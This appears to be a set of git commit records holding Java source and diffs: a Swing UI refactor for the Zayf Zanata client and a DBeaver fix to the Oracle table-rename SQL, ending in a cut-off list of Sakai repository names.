//serverProxy = new ServerProxy(new URL(ncf.getUrl()).toURI(), ncf.getUserName(), ncf.getApiKey());
serverProxy = new DummyServerProxy();
statusBar.setConnection("Connected", new Color(0, 120, 0));
}
catch (Exception e)
{
statusBar.setConnection("Connection Failed", Color.RED);
JOptionPane.showMessageDialog(null, e.getMessage(), "Connection Failed", 0);
}
}
}
/**
* init serverProxy
*/
private void setUpServerProxy()
{
serverProxy = new DummyServerProxy();
statusBar.setConnection("Connected", new Color(0, 120, 0));
//ServerProxy sp = new ServerProxy(new URL(url).toURI(), userName, apiKey);
}
}
| src/main/java/org/davidmason/zayf/ui/ZayfView.java | /*
* Zayf (Zanata at your Fingertips) - a Zanata client for unstable connections
* Copyright (C) 2012 Alister Symons and David Mason
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
package org.davidmason.zayf.ui;
//import org.apache.log4j.lf5.viewer.categoryexplorer.TreeModelAdapter; //TODO: wat?
import org.zanata.common.LocaleId;
import org.zanata.rest.dto.*;
import org.zanata.rest.dto.resource.*;
import org.davidmason.zayf.rest.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.tree.*;
import java.util.ArrayList;
import java.util.List;
import java.awt.*;
import java.awt.event.*;
import java.net.URL;
/**
* Swing UI for Zayf client
*
* @author A.S.
*/
@SuppressWarnings({"serial", "unused"})
public class ZayfView extends JFrame
{
private JMenuBar menuBar;
private ProjectsTree displayTree;
private InvisibleNode rootNode;
private FilteredTreeModel treeModel;
private JScrollPane treeView;
//private DefaultTreeModel dataTree;
private JTextArea textFlowPane, textFlowTargetPane;
private StatusBar statusBar;
private Container centrePanel;
private ServerProxy serverProxy;
private String url = "http://localhost:8080/zanata/";
private String userName = "admin";
private String apiKey = "REDACTED";
private LocaleId targetLocale = new LocaleId("en-US");
private List<Project> projects;
private List<ProjectIteration> iterations;
private List<ResourceMeta> docs;
private List<TextFlow> textFlows;
private List<TextFlowTarget> textFlowTargets;
public ZayfView() //throws MalformedURLException, URISyntaxException
{
setLayout(new BorderLayout()); //use absolute positioning
setBounds(0, 0, 640, 480);
setLocationRelativeTo(null); //centre screen
setUpMenus();
setUpTree();
setUpTextPanes();
addComponents();
setUpServerProxy();
getProjects();
setTitle("Zayf v 0.00000001");
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setVisible(true);
}
/**
* set up Text fields for displaying text flows and text flow targets
*/
private void setUpTextPanes()
{
centrePanel = new JPanel();
centrePanel.setLayout(new BoxLayout(centrePanel, BoxLayout.PAGE_AXIS));
JPanel upperCentrePanel = new JPanel(new BorderLayout());
JLabel textFlowLabel = new JLabel("Text Flow:"); //TODO: confirm "Text Flow" is correct user-speak
textFlowPane = new JTextArea();
textFlowPane.setForeground(Color.gray);
textFlowPane.setText("Select a document in tree view");
textFlowPane.setEditable(false);
upperCentrePanel.add(textFlowLabel, BorderLayout.NORTH);
upperCentrePanel.add(textFlowPane, BorderLayout.CENTER);
JPanel lowerCentrePanel = new JPanel(new BorderLayout());
JLabel textFlowTargetLabel = new JLabel("Text Flow Target:"); //TODO: confirm "Text Flow Target" is correct user-speak
textFlowTargetPane = new JTextArea();
textFlowTargetPane.setForeground(Color.gray);
textFlowTargetPane.setText("Select a document in tree view.\nOnly text flow targets for the \""
+ targetLocale.getId() + "\" locale are displayed");
textFlowTargetPane.setEditable(false);
lowerCentrePanel.add(textFlowTargetLabel, BorderLayout.NORTH);
lowerCentrePanel.add(textFlowTargetPane, BorderLayout.CENTER);
centrePanel.add(upperCentrePanel);
centrePanel.add(lowerCentrePanel);
}
/**
* set up Tree view
*/
private void setUpTree()
{
rootNode = new InvisibleNode(url);
treeModel = new FilteredTreeModel(rootNode);
displayTree = new ProjectsTree(treeModel);
displayTree.setPreferredSize(new Dimension(200, 200));
treeView = new JScrollPane(displayTree);
/*displayTree.addTreeExpansionListener(new TreeExpansionListener()
{
@Override
public void treeExpanded(TreeExpansionEvent event)
{
//System.exit(0);
// TODO Auto-generated method stub
}
@Override
public void treeCollapsed(TreeExpansionEvent event)
{
// TODO Auto-generated method stub
}
});*/
displayTree.addTreeSelectionListener(new TreeSelectionListener()
{
@Override
public void valueChanged(TreeSelectionEvent e)
{
InvisibleNode node = (InvisibleNode) e.getNewLeadSelectionPath().getLastPathComponent();
if (node == null)
return;
Object nodeObject = node.getUserObject();
if (nodeObject instanceof TextFlow)
{
//show text flow content
TextFlow tf = (TextFlow) nodeObject;
textFlowPane.setText(tf.getContent());
treeModel.setFiltered(false); //switch off filtering so we can get TFT
outerLoop:
for (int i = 0; i < node.getParent().getChildCount(); i++)
{
InvisibleNode TFTnode = (InvisibleNode) node.getParent().getChildAt(i);
if (TFTnode.getUserObject() instanceof TextFlowTarget)
{
//show tft content
TextFlowTarget tft = (TextFlowTarget) TFTnode.getUserObject();
if (tft.getResId() == tf.getId())
textFlowTargetPane.setText(tft.getContent());
break outerLoop;
}
}
treeModel.setFiltered(true);
}
}
});
}
/**
* add Swing components to frame
*/
private void addComponents()
{
JPanel topPanel = new JPanel(new BorderLayout());
topPanel.add(menuBar, BorderLayout.NORTH);
add(topPanel, BorderLayout.NORTH);
add(treeView, BorderLayout.WEST);
add(centrePanel, BorderLayout.CENTER);
statusBar = new StatusBar();
add(statusBar, BorderLayout.SOUTH);
}
/** set up the menu bar */
private void setUpMenus()
{
menuBar = new JMenuBar();
setUpFileMenu();
}
/** set up File menu and add to menu bar */
private void setUpFileMenu()
{
JMenu menu = new JMenu("File");
menu.setMnemonic(KeyEvent.VK_F);
JMenuItem menuItem = new JMenuItem("Connect...", KeyEvent.VK_C);
menuItem.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_SPACE, ActionEvent.CTRL_MASK));
//TODO: figure out why shortcut only works when menu has focus, fix
menuItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
openNewConnectionFrame();
}
});
menu.add(menuItem);
menuItem = new JMenuItem("Disconnect", KeyEvent.VK_D);
menuItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
//TODO:
}
});
menu.add(menuItem);
menuItem = new JMenuItem("Save Project...", KeyEvent.VK_S);
menuItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
//TODO:
}
});
menu.add(menuItem);
menuItem = new JMenuItem("Exit", KeyEvent.VK_X);
menuItem.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_F4, ActionEvent.ALT_MASK));
menuItem.addActionListener(new ActionListener()
{
public void actionPerformed(ActionEvent e)
{
quit();
}
});
menu.add(menuItem);
menuBar.add(menu);
}
private void quit()
{
//TODO: cleanup
System.exit(0);
}
/**
* get projects from server and populate tree
*/
private void getProjects()
{
treeModel = new FilteredTreeModel(rootNode);
displayTree = new ProjectsTree(treeModel);
displayTree.setPreferredSize(new Dimension(200, 200));
displayTree.setFiltered(true);
treeView = new JScrollPane(displayTree);
for (Project project : serverProxy.getProjectList())
{
InvisibleNode projectBranch = new InvisibleNode(project);
rootNode.add(projectBranch);
//TODO: load child nodes on expansion only.
for (ProjectIteration iteration : serverProxy.getVersionList(project.getId())) //get iterations from SP
{
InvisibleNode iterationBranch = new InvisibleNode(iteration);
projectBranch.add(iterationBranch);
for (ResourceMeta doc : serverProxy.getDocList(project.getId(), iteration.getId())) //get docs from SP
{
InvisibleNode docBranch = new InvisibleNode(doc);
iterationBranch.add(docBranch);
for (TextFlow tf : serverProxy.getTextFlows(project.getId(), iteration.getId(),
doc.getName()))
{
InvisibleNode tfNode = new InvisibleNode(tf);
docBranch.add(tfNode);
}
for (TextFlowTarget tft : serverProxy.getTargets(project.getId(), iteration.getId(),
targetLocale, doc.getName()))
{
InvisibleNode tftNode = new InvisibleNode(tft.getContent());
tftNode.setVisible(false);
docBranch.add(tftNode);
}
}
}
}
((FilteredTreeModel) displayTree.getModel()).reload();
}
/** opens a modal dialog which allows the user to connect to a database */
private void openNewConnectionFrame()
{
NewConnectionFrame ncf = new NewConnectionFrame();
if (ncf.connectPressed())
{
try
{
//TODO: if connected, disconnect (if SP can force disconnect)
//serverProxy = new ServerProxy(new URL(ncf.getUrl()).toURI(), ncf.getUserName(), ncf.getApiKey());
serverProxy = new DummyServerProxy();
statusBar.setConnection("Connected", new Color(0, 120, 0));
}
catch (Exception e)
{
statusBar.setConnection("Connection Failed", Color.RED);
JOptionPane.showMessageDialog(null, e.getMessage(), "Connection Failed", 0);
}
}
}
/**
* init serverProxy
*/
private void setUpServerProxy()
{
serverProxy = new DummyServerProxy();
statusBar.setConnection("Connected", new Color(0, 120, 0));
//ServerProxy sp = new ServerProxy(new URL(url).toURI(), userName, apiKey);
}
}
| scrap seperate data tree, fleshed out TF/TFT views
| src/main/java/org/davidmason/zayf/ui/ZayfView.java | scrap seperate data tree, fleshed out TF/TFT views | <ide><path>rc/main/java/org/davidmason/zayf/ui/ZayfView.java
<ide> package org.davidmason.zayf.ui;
<ide>
<ide> //import org.apache.log4j.lf5.viewer.categoryexplorer.TreeModelAdapter; //TODO: wat?
<add>import org.zanata.common.ContentState;
<ide> import org.zanata.common.LocaleId;
<ide> import org.zanata.rest.dto.*;
<ide> import org.zanata.rest.dto.resource.*;
<ide> private JMenuBar menuBar;
<ide>
<ide> private ProjectsTree displayTree;
<del> private InvisibleNode rootNode;
<del> private FilteredTreeModel treeModel;
<add> private DefaultMutableTreeNode rootNode;
<add> private DefaultTreeModel treeModel;
<ide> private JScrollPane treeView;
<del> //private DefaultTreeModel dataTree;
<del>
<del> private JTextArea textFlowPane, textFlowTargetPane;
<add>
<add> private TextFlowPanel textFlowPanel;
<add> private TextFlowTargetPanel textFlowTargetPanel;
<ide> private StatusBar statusBar;
<ide> private Container centrePanel;
<ide>
<ide> private String apiKey = "REDACTED";
<ide> private LocaleId targetLocale = new LocaleId("en-US");
<ide>
<add> /*
<ide> private List<Project> projects;
<ide> private List<ProjectIteration> iterations;
<ide> private List<ResourceMeta> docs;
<ide> private List<TextFlow> textFlows;
<ide> private List<TextFlowTarget> textFlowTargets;
<del>
<add> */
<ide> public ZayfView() //throws MalformedURLException, URISyntaxException
<ide> {
<ide> setLayout(new BorderLayout()); //use absolute positioning
<ide>
<ide> setUpMenus();
<ide> setUpTree();
<del> setUpTextPanes();
<add> setUpTextFlowPanels();
<ide> addComponents();
<ide>
<ide> setUpServerProxy();
<ide> /**
<ide> * set up Text fields for displaying text flows and text flow targets
<ide> */
<del> private void setUpTextPanes()
<add> private void setUpTextFlowPanels()
<ide> {
<ide> centrePanel = new JPanel();
<ide> centrePanel.setLayout(new BoxLayout(centrePanel, BoxLayout.PAGE_AXIS));
<ide>
<del> JPanel upperCentrePanel = new JPanel(new BorderLayout());
<del>
<del> JLabel textFlowLabel = new JLabel("Text Flow:"); //TODO: confirm "Text Flow" is correct user-speak
<del> textFlowPane = new JTextArea();
<del> textFlowPane.setForeground(Color.gray);
<del> textFlowPane.setText("Select a document in tree view");
<del> textFlowPane.setEditable(false);
<del>
<del> upperCentrePanel.add(textFlowLabel, BorderLayout.NORTH);
<del> upperCentrePanel.add(textFlowPane, BorderLayout.CENTER);
<del>
<del> JPanel lowerCentrePanel = new JPanel(new BorderLayout());
<del>
<del> JLabel textFlowTargetLabel = new JLabel("Text Flow Target:"); //TODO: confirm "Text Flow Target" is correct user-speak
<del> textFlowTargetPane = new JTextArea();
<del> textFlowTargetPane.setForeground(Color.gray);
<del> textFlowTargetPane.setText("Select a document in tree view.\nOnly text flow targets for the \""
<del> + targetLocale.getId() + "\" locale are displayed");
<del> textFlowTargetPane.setEditable(false);
<del>
<del> lowerCentrePanel.add(textFlowTargetLabel, BorderLayout.NORTH);
<del> lowerCentrePanel.add(textFlowTargetPane, BorderLayout.CENTER);
<del>
<del> centrePanel.add(upperCentrePanel);
<del> centrePanel.add(lowerCentrePanel);
<add> textFlowPanel = new TextFlowPanel();
<add> textFlowTargetPanel = new TextFlowTargetPanel(targetLocale);
<add>
<add> clearTextPanes();
<add>
<add> centrePanel.add(textFlowPanel);
<add> centrePanel.add(textFlowTargetPanel);
<add> }
<add>
<add> private void clearTextPanes()
<add> {
<add> textFlowPanel.clear();
<add>
<ide> }
<ide>
<ide> /**
<ide> */
<ide> private void setUpTree()
<ide> {
<del> rootNode = new InvisibleNode(url);
<del> treeModel = new FilteredTreeModel(rootNode);
<add> rootNode = new DefaultMutableTreeNode(url);
<add> treeModel = new DefaultTreeModel(rootNode);
<ide> displayTree = new ProjectsTree(treeModel);
<ide> displayTree.setPreferredSize(new Dimension(200, 200));
<ide>
<ide> @Override
<ide> public void valueChanged(TreeSelectionEvent e)
<ide> {
<del> InvisibleNode node = (InvisibleNode) e.getNewLeadSelectionPath().getLastPathComponent();
<add> DefaultMutableTreeNode node =
<add> (DefaultMutableTreeNode) e.getNewLeadSelectionPath().getLastPathComponent();
<ide>
<ide> if (node == null)
<ide> return;
<ide> {
<ide> //show text flow content
<ide> TextFlow tf = (TextFlow) nodeObject;
<del> textFlowPane.setText(tf.getContent());
<del>
<del> treeModel.setFiltered(false); //switch off filtering so we can get TFT
<add> textFlowPanel.update(tf);
<add> int childCount = node.getParent().getChildCount();
<ide>
<ide> outerLoop:
<del> for (int i = 0; i < node.getParent().getChildCount(); i++)
<add> for (int i = 0; i < childCount; i++)
<ide> {
<del> InvisibleNode TFTnode = (InvisibleNode) node.getParent().getChildAt(i);
<add> DefaultMutableTreeNode TFTnode =
<add> (DefaultMutableTreeNode) node.getParent().getChildAt(i);
<ide> if (TFTnode.getUserObject() instanceof TextFlowTarget)
<ide> {
<del> //show tft content
<add> //show text flow target content
<ide> TextFlowTarget tft = (TextFlowTarget) TFTnode.getUserObject();
<ide>
<ide> if (tft.getResId() == tf.getId())
<del> textFlowTargetPane.setText(tft.getContent());
<del>
<del> break outerLoop;
<add> {
<add> textFlowTargetPanel.update(tft);
<add>
<add> break outerLoop;
<add> }
<add>
<add> textFlowTargetPanel.notFoundError();
<ide> }
<ide> }
<del>
<del> treeModel.setFiltered(true);
<ide> }
<add> else if (nodeObject instanceof TextFlowTarget)
<add> {
<add> //show text flow target content
<add> TextFlowTarget tft = (TextFlowTarget) nodeObject;
<add> textFlowTargetPanel.update(tft);
<add> int childCount = node.getParent().getChildCount();
<add>
<add> outerLoop:
<add> for (int i = 0; i < childCount; i++)
<add> {
<add> DefaultMutableTreeNode TFnode =
<add> (DefaultMutableTreeNode) node.getParent().getChildAt(i);
<add> if (TFnode.getUserObject() instanceof TextFlow)
<add> {
<add> //show text flow content
<add> TextFlow tf = (TextFlow) TFnode.getUserObject();
<add>
<add> if (tft.getResId() == tf.getId())
<add> {
<add> textFlowPanel.update(tf);
<add>
<add> break outerLoop;
<add> }
<add>
<add> textFlowPanel.notFoundError(); //theoretically impossible
<add> }
<add> }
<add>
<add> }
<add> else
<add> clearTextPanes();
<ide> }
<ide> });
<ide>
<ide> menuBar.add(menu);
<ide> }
<ide>
<add> /** cleanup and exit program */
<ide> private void quit()
<ide> {
<ide> //TODO: cleanup
<ide> */
<ide> private void getProjects()
<ide> {
<del> treeModel = new FilteredTreeModel(rootNode);
<del> displayTree = new ProjectsTree(treeModel);
<del> displayTree.setPreferredSize(new Dimension(200, 200));
<del> displayTree.setFiltered(true);
<del>
<del> treeView = new JScrollPane(displayTree);
<del>
<ide> for (Project project : serverProxy.getProjectList())
<ide> {
<del> InvisibleNode projectBranch = new InvisibleNode(project);
<add> DefaultMutableTreeNode projectBranch = new DefaultMutableTreeNode(project);
<ide> rootNode.add(projectBranch);
<ide>
<ide> //TODO: load child nodes on expansion only.
<add>
<ide> for (ProjectIteration iteration : serverProxy.getVersionList(project.getId())) //get iterations from SP
<ide> {
<del> InvisibleNode iterationBranch = new InvisibleNode(iteration);
<add> DefaultMutableTreeNode iterationBranch = new DefaultMutableTreeNode(iteration);
<ide> projectBranch.add(iterationBranch);
<ide>
<ide> for (ResourceMeta doc : serverProxy.getDocList(project.getId(), iteration.getId())) //get docs from SP
<ide> {
<del> InvisibleNode docBranch = new InvisibleNode(doc);
<add> DefaultMutableTreeNode docBranch = new DefaultMutableTreeNode(doc);
<ide> iterationBranch.add(docBranch);
<ide>
<ide> for (TextFlow tf : serverProxy.getTextFlows(project.getId(), iteration.getId(),
<ide> doc.getName()))
<ide> {
<del> InvisibleNode tfNode = new InvisibleNode(tf);
<add> DefaultMutableTreeNode tfNode = new DefaultMutableTreeNode(tf);
<ide> docBranch.add(tfNode);
<ide> }
<ide>
<ide> for (TextFlowTarget tft : serverProxy.getTargets(project.getId(), iteration.getId(),
<ide> targetLocale, doc.getName()))
<ide> {
<del> InvisibleNode tftNode = new InvisibleNode(tft.getContent());
<del> tftNode.setVisible(false);
<add> DefaultMutableTreeNode tftNode = new DefaultMutableTreeNode(tft);
<ide> docBranch.add(tftNode);
<ide> }
<ide> }
<ide> }
<ide> }
<del> ((FilteredTreeModel) displayTree.getModel()).reload();
<add>
<add> treeModel = new DefaultTreeModel(rootNode);
<add> displayTree = new ProjectsTree(treeModel);
<add> displayTree.setPreferredSize(new Dimension(200, 200));
<add> treeView = new JScrollPane(displayTree);
<add>
<add> ((DefaultTreeModel) displayTree.getModel()).reload();
<ide> }
<ide>
<ide> /** opens a modal dialog which allows the user to connect to a database */ |
|
Java | apache-2.0 | 9d1b0a95d2a924c452ef4db48a9d5f68cce38f39 | 0 | Sargul/dbeaver,serge-rider/dbeaver,serge-rider/dbeaver,Sargul/dbeaver,Sargul/dbeaver,dbeaver/dbeaver,serge-rider/dbeaver,Sargul/dbeaver,dbeaver/dbeaver,Sargul/dbeaver,dbeaver/dbeaver,dbeaver/dbeaver,serge-rider/dbeaver | /*
* DBeaver - Universal Database Manager
* Copyright (C) 2010-2016 Serge Rieder ([email protected])
* Copyright (C) 2011-2012 Eugene Fradkin ([email protected])
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License (version 2)
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package org.jkiss.dbeaver.ext.oracle.edit;
import org.jkiss.code.Nullable;
import org.jkiss.dbeaver.DBException;
import org.jkiss.dbeaver.ext.oracle.model.*;
import org.jkiss.dbeaver.model.DBUtils;
import org.jkiss.dbeaver.model.edit.DBECommandContext;
import org.jkiss.dbeaver.model.edit.DBEObjectRenamer;
import org.jkiss.dbeaver.model.edit.DBEPersistAction;
import org.jkiss.dbeaver.model.impl.DBSObjectCache;
import org.jkiss.dbeaver.model.impl.edit.SQLDatabasePersistAction;
import org.jkiss.dbeaver.model.impl.sql.edit.struct.SQLTableManager;
import org.jkiss.dbeaver.model.sql.SQLUtils;
import org.jkiss.dbeaver.model.struct.DBSObject;
import java.util.List;
/**
* Oracle table manager
*/
public class OracleTableManager extends SQLTableManager<OracleTable, OracleSchema> implements DBEObjectRenamer<OracleTable> {
private static final Class<?>[] CHILD_TYPES = {
OracleTableColumn.class,
OracleTableConstraint.class,
OracleTableForeignKey.class,
OracleTableIndex.class
};
@Nullable
@Override
public DBSObjectCache<? extends DBSObject, OracleTable> getObjectsCache(OracleTable object)
{
return (DBSObjectCache) object.getSchema().tableCache;
}
@Override
protected OracleTable createDatabaseObject(DBECommandContext context, OracleSchema parent, Object copyFrom)
{
OracleTable table = new OracleTable(parent, "");
try {
setTableName(parent, table);
} catch (DBException e) {
log.error(e);
}
return table; //$NON-NLS-1$
}
@Override
protected void addObjectModifyActions(List<DBEPersistAction> actionList, ObjectChangeCommand command)
{
if (command.getProperties().size() > 1 || command.getProperty("comment") == null) {
StringBuilder query = new StringBuilder("ALTER TABLE "); //$NON-NLS-1$
query.append(command.getObject().getFullQualifiedName()).append(" "); //$NON-NLS-1$
appendTableModifiers(command.getObject(), command, query);
actionList.add(new SQLDatabasePersistAction(query.toString()));
}
}
@Override
protected void addObjectExtraActions(List<DBEPersistAction> actions, NestedObjectCommand<OracleTable, PropertyHandler> command) {
if (command.getProperty("comment") != null) {
actions.add(new SQLDatabasePersistAction(
"Comment table",
"COMMENT ON TABLE " + command.getObject().getFullQualifiedName() +
" IS '" + SQLUtils.escapeString(command.getObject().getDescription()) + "'"));
}
}
@Override
protected void appendTableModifiers(OracleTable table, NestedObjectCommand tableProps, StringBuilder ddl)
{
}
@Override
protected void addObjectRenameActions(List<DBEPersistAction> actions, ObjectRenameCommand command)
{
actions.add(
new SQLDatabasePersistAction(
"Rename table",
"ALTER TABLE " + command.getObject().getFullQualifiedName() + //$NON-NLS-1$
" RENAME TO " + DBUtils.getQuotedIdentifier(command.getObject().getDataSource(), command.getNewName())) //$NON-NLS-1$
);
}
@Override
public Class<?>[] getChildTypes()
{
return CHILD_TYPES;
}
@Override
public void renameObject(DBECommandContext commandContext, OracleTable object, String newName) throws DBException
{
processObjectRename(commandContext, object, newName);
}
}
| plugins/org.jkiss.dbeaver.ext.oracle/src/org/jkiss/dbeaver/ext/oracle/edit/OracleTableManager.java | /*
* DBeaver - Universal Database Manager
* Copyright (C) 2010-2016 Serge Rieder ([email protected])
* Copyright (C) 2011-2012 Eugene Fradkin ([email protected])
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License (version 2)
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package org.jkiss.dbeaver.ext.oracle.edit;
import org.jkiss.code.Nullable;
import org.jkiss.dbeaver.DBException;
import org.jkiss.dbeaver.ext.oracle.model.*;
import org.jkiss.dbeaver.model.DBUtils;
import org.jkiss.dbeaver.model.edit.DBECommandContext;
import org.jkiss.dbeaver.model.edit.DBEObjectRenamer;
import org.jkiss.dbeaver.model.edit.DBEPersistAction;
import org.jkiss.dbeaver.model.impl.DBSObjectCache;
import org.jkiss.dbeaver.model.impl.edit.SQLDatabasePersistAction;
import org.jkiss.dbeaver.model.impl.sql.edit.struct.SQLTableManager;
import org.jkiss.dbeaver.model.sql.SQLUtils;
import org.jkiss.dbeaver.model.struct.DBSObject;
import java.util.List;
/**
* Oracle table manager
*/
public class OracleTableManager extends SQLTableManager<OracleTable, OracleSchema> implements DBEObjectRenamer<OracleTable> {
private static final Class<?>[] CHILD_TYPES = {
OracleTableColumn.class,
OracleTableConstraint.class,
OracleTableForeignKey.class,
OracleTableIndex.class
};
@Nullable
@Override
public DBSObjectCache<? extends DBSObject, OracleTable> getObjectsCache(OracleTable object)
{
return (DBSObjectCache) object.getSchema().tableCache;
}
@Override
protected OracleTable createDatabaseObject(DBECommandContext context, OracleSchema parent, Object copyFrom)
{
OracleTable table = new OracleTable(parent, "");
try {
setTableName(parent, table);
} catch (DBException e) {
log.error(e);
}
return table; //$NON-NLS-1$
}
@Override
protected void addObjectModifyActions(List<DBEPersistAction> actionList, ObjectChangeCommand command)
{
if (command.getProperties().size() > 1 || command.getProperty("comment") == null) {
StringBuilder query = new StringBuilder("ALTER TABLE "); //$NON-NLS-1$
query.append(command.getObject().getFullQualifiedName()).append(" "); //$NON-NLS-1$
appendTableModifiers(command.getObject(), command, query);
actionList.add(new SQLDatabasePersistAction(query.toString()));
}
}
@Override
protected void addObjectExtraActions(List<DBEPersistAction> actions, NestedObjectCommand<OracleTable, PropertyHandler> command) {
if (command.getProperty("comment") != null) {
actions.add(new SQLDatabasePersistAction(
"Comment table",
"COMMENT ON TABLE " + command.getObject().getFullQualifiedName() +
" IS '" + SQLUtils.escapeString(command.getObject().getDescription()) + "'"));
}
}
@Override
protected void appendTableModifiers(OracleTable table, NestedObjectCommand tableProps, StringBuilder ddl)
{
}
@Override
protected void addObjectRenameActions(List<DBEPersistAction> actions, ObjectRenameCommand command)
{
actions.add(
new SQLDatabasePersistAction(
"Rename table",
"RENAME " + command.getObject().getFullQualifiedName() + //$NON-NLS-1$
" TO " + DBUtils.getQuotedIdentifier(command.getObject().getDataSource(), command.getNewName())) //$NON-NLS-1$
);
}
@Override
public Class<?>[] getChildTypes()
{
return CHILD_TYPES;
}
@Override
public void renameObject(DBECommandContext commandContext, OracleTable object, String newName) throws DBException
{
processObjectRename(commandContext, object, newName);
}
}
| #610 Oracle: table rename fix
Former-commit-id: b416835b6c2030743f492ba88f25b664e524c320 | plugins/org.jkiss.dbeaver.ext.oracle/src/org/jkiss/dbeaver/ext/oracle/edit/OracleTableManager.java | #610 Oracle: table rename fix | <ide><path>lugins/org.jkiss.dbeaver.ext.oracle/src/org/jkiss/dbeaver/ext/oracle/edit/OracleTableManager.java
<ide> actions.add(
<ide> new SQLDatabasePersistAction(
<ide> "Rename table",
<del> "RENAME " + command.getObject().getFullQualifiedName() + //$NON-NLS-1$
<del> " TO " + DBUtils.getQuotedIdentifier(command.getObject().getDataSource(), command.getNewName())) //$NON-NLS-1$
<add> "ALTER TABLE " + command.getObject().getFullQualifiedName() + //$NON-NLS-1$
<add> " RENAME TO " + DBUtils.getQuotedIdentifier(command.getObject().getDataSource(), command.getNewName())) //$NON-NLS-1$
<ide> );
<ide> }
<ide> |
|
Java | apache-2.0 | ec3880515f9e024673a73617f9ed210c877ea471 | 0 | kingmook/sakai,introp-software/sakai,bzhouduke123/sakai,whumph/sakai,OpenCollabZA/sakai,rodriguezdevera/sakai,lorenamgUMU/sakai,kwedoff1/sakai,puramshetty/sakai,duke-compsci290-spring2016/sakai,zqian/sakai,joserabal/sakai,Fudan-University/sakai,hackbuteer59/sakai,liubo404/sakai,noondaysun/sakai,pushyamig/sakai,Fudan-University/sakai,joserabal/sakai,OpenCollabZA/sakai,kwedoff1/sakai,Fudan-University/sakai,liubo404/sakai,clhedrick/sakai,OpenCollabZA/sakai,clhedrick/sakai,lorenamgUMU/sakai,noondaysun/sakai,kingmook/sakai,wfuedu/sakai,willkara/sakai,Fudan-University/sakai,surya-janani/sakai,puramshetty/sakai,whumph/sakai,bkirschn/sakai,surya-janani/sakai,ouit0408/sakai,buckett/sakai-gitflow,conder/sakai,noondaysun/sakai,willkara/sakai,willkara/sakai,kingmook/sakai,ouit0408/sakai,pushyamig/sakai,ouit0408/sakai,introp-software/sakai,Fudan-University/sakai,udayg/sakai,liubo404/sakai,frasese/sakai,surya-janani/sakai,colczr/sakai,buckett/sakai-gitflow,frasese/sakai,colczr/sakai,bzhouduke123/sakai,bzhouduke123/sakai,colczr/sakai,duke-compsci290-spring2016/sakai,noondaysun/sakai,colczr/sakai,ouit0408/sakai,ktakacs/sakai,clhedrick/sakai,wfuedu/sakai,colczr/sakai,noondaysun/sakai,rodriguezdevera/sakai,zqian/sakai,wfuedu/sakai,surya-janani/sakai,conder/sakai,liubo404/sakai,OpenCollabZA/sakai,puramshetty/sakai,tl-its-umich-edu/sakai,willkara/sakai,introp-software/sakai,conder/sakai,duke-compsci290-spring2016/sakai,duke-compsci290-spring2016/sakai,hackbuteer59/sakai,pushyamig/sakai,kingmook/sakai,buckett/sakai-gitflow,conder/sakai,introp-software/sakai,colczr/sakai,udayg/sakai,liubo404/sakai,tl-its-umich-edu/sakai,bzhouduke123/sakai,wfuedu/sakai,wfuedu/sakai,bkirschn/sakai,buckett/sakai-gitflow,zqian/sakai,whumph/sakai,frasese/sakai,conder/sakai,ktakacs/sakai,buckett/sakai-gitflow,noondaysun/sakai,kwedoff1/sakai,lorenamgUMU/sakai,zqian/sakai,lorenamgUMU/sakai,joserabal/sakai,kwedoff1/sakai,bzhouduke123/sakai,hackbuteer59/sakai,liubo404/sakai,ouit0408/sakai,hackbuteer59/sakai,hackbuteer59/sakai,bzhouduke123/sakai,kwedoff1/sakai,pushyamig/sakai,clhedrick/sakai,rodriguezdevera/sakai,lorenamgUMU/sakai,lorenamgUMU/sakai,whumph/sakai,udayg/sakai,willkara/sakai,bkirschn/sakai,lorenamgUMU/sakai,ouit0408/sakai,kwedoff1/sakai,introp-software/sakai,liubo404/sakai,Fudan-University/sakai,bzhouduke123/sakai,rodriguezdevera/sakai,colczr/sakai,bkirschn/sakai,buckett/sakai-gitflow,udayg/sakai,kingmook/sakai,conder/sakai,frasese/sakai,introp-software/sakai,surya-janani/sakai,rodriguezdevera/sakai,liubo404/sakai,joserabal/sakai,frasese/sakai,ktakacs/sakai,zqian/sakai,lorenamgUMU/sakai,puramshetty/sakai,bzhouduke123/sakai,tl-its-umich-edu/sakai,kwedoff1/sakai,bkirschn/sakai,joserabal/sakai,whumph/sakai,joserabal/sakai,pushyamig/sakai,surya-janani/sakai,surya-janani/sakai,ktakacs/sakai,duke-compsci290-spring2016/sakai,duke-compsci290-spring2016/sakai,Fudan-University/sakai,OpenCollabZA/sakai,puramshetty/sakai,introp-software/sakai,clhedrick/sakai,tl-its-umich-edu/sakai,pushyamig/sakai,willkara/sakai,buckett/sakai-gitflow,tl-its-umich-edu/sakai,ktakacs/sakai,noondaysun/sakai,OpenCollabZ